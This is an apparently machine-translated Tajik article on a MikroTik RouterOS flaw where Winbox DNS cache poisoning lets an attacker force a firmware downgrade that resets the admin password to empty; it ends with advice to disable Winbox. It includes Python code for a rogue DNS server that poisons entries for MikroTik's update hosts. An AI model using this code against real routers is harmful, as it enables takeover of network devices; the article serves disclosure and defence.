Имконияти дурдасти паст кардани сатҳи дастгоҳҳо дар асоси RouterOS (Mikrotik) садҳо ҳазор дастгоҳҳои шабакавиро зери хатар мегузорад. Ин осебпазирӣ бо заҳролудшавии кэши DNS-и протоколи Winbox алоқаманд аст ва ба шумо имкон медиҳад, ки ба дастгоҳ кӯҳнашуда (бо аз нав танзимкунии пароли пешфарз) ё нармафзори тағирёфта бор кунед.
Тафсилоти осебпазирӣ
Терминали RouterOS фармони ҳалро барои ҷустуҷӯи DNS дастгирӣ мекунад.
Ин дархост аз ҷониби бинарӣ, ки ҳалкунанда ном дорад, коркард карда мешавад. Resolver яке аз бисёр дуӣ мебошад, ки ба протоколи Winbox-и RouterOS пайваст мешавад. Дар сатҳи баланд, "паёмҳо" -и ба порти Winbox фиристодашуда метавонанд ба бинарҳои гуногун дар RouterOS дар асоси схемаи рақамгузорӣ дар массив равона карда шаванд.
Бо нобаёнӣ, RouterOS хусусияти сервери DNS-ро ғайрифаъол кардааст.
Аммо, ҳатто вақте ки функсияи сервер хомӯш карда шудааст, роутер кэши DNS-и худро нигоҳ медорад.
Вақте ки мо бо истифода аз winbox_dns_request дархост мекунем, масалан example.com, роутер натиҷаро кэш мекунад.
Азбаски мо метавонем сервери DNS-ро муайян кунем, ки дархост тавассути он меравад, ворид кардани суроғаҳои нодуруст ночиз аст. Масалан, шумо метавонед татбиқи сервери DNS-ро аз
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Ҳоло агар шумо бо истифода аз Winbox for example.com ҷустуҷӯ кунед, шумо мебинед, ки кэши DNS роутер заҳролуд шудааст.
Албатта, заҳролудшавӣ example.com чандон муфид нест, зеро роутер воқеан онро истифода намебарад. Аммо, роутер бояд ба upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ва download.mikrotik.com дастрасӣ пайдо кунад. Ва ба шарофати хатои дигар, ҳамаро якбора захролуд кардан мумкин аст.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Роутер як иҷозат талаб мекунад ва мо панҷ иҷозат медиҳем. Роутер ҳамаи ин ҷавобҳоро дуруст кэш намекунад.
Аён аст, ки ин ҳамла инчунин муфид аст, агар роутер ҳамчун сервери DNS амал кунад, зеро он имкон медиҳад, ки муштариёни роутер ҳамла кунанд.
Ин ҳамла инчунин ба шумо имкон медиҳад, ки осебпазирии ҷиддитарро истифода баред: версияи RouterOS-ро коҳиш диҳед ё нусхабардорӣ кунед. Ҳамлагар мантиқи сервери навсозӣ, аз ҷумла тағиротро аз нав эҷод мекунад ва RouterOS-ро маҷбур мекунад, ки версияи кӯҳна (осебпазир)-ро ҳамчун ҷорӣ қабул кунад. Хатар дар ин ҷо дар он аст, ки вақте ки версия "навсозӣ" мешавад, пароли администратор ба арзиши пешфарз барқарор карда мешавад - ҳамлакунанда метавонад бо пароли холӣ ба система ворид шавад!
Ҳамла ба таври кофӣ кор мекунад, сарфи назар аз он
ҳимоя
Танҳо хомӯш кардани Winbox ба шумо имкон медиҳад, ки худро аз ин ҳамлаҳо муҳофизат кунед. Сарфи назар аз роҳати маъмурият тавассути Winbox, беҳтар аст, ки протоколи SSH-ро истифода баред.
Манбаъ: will.com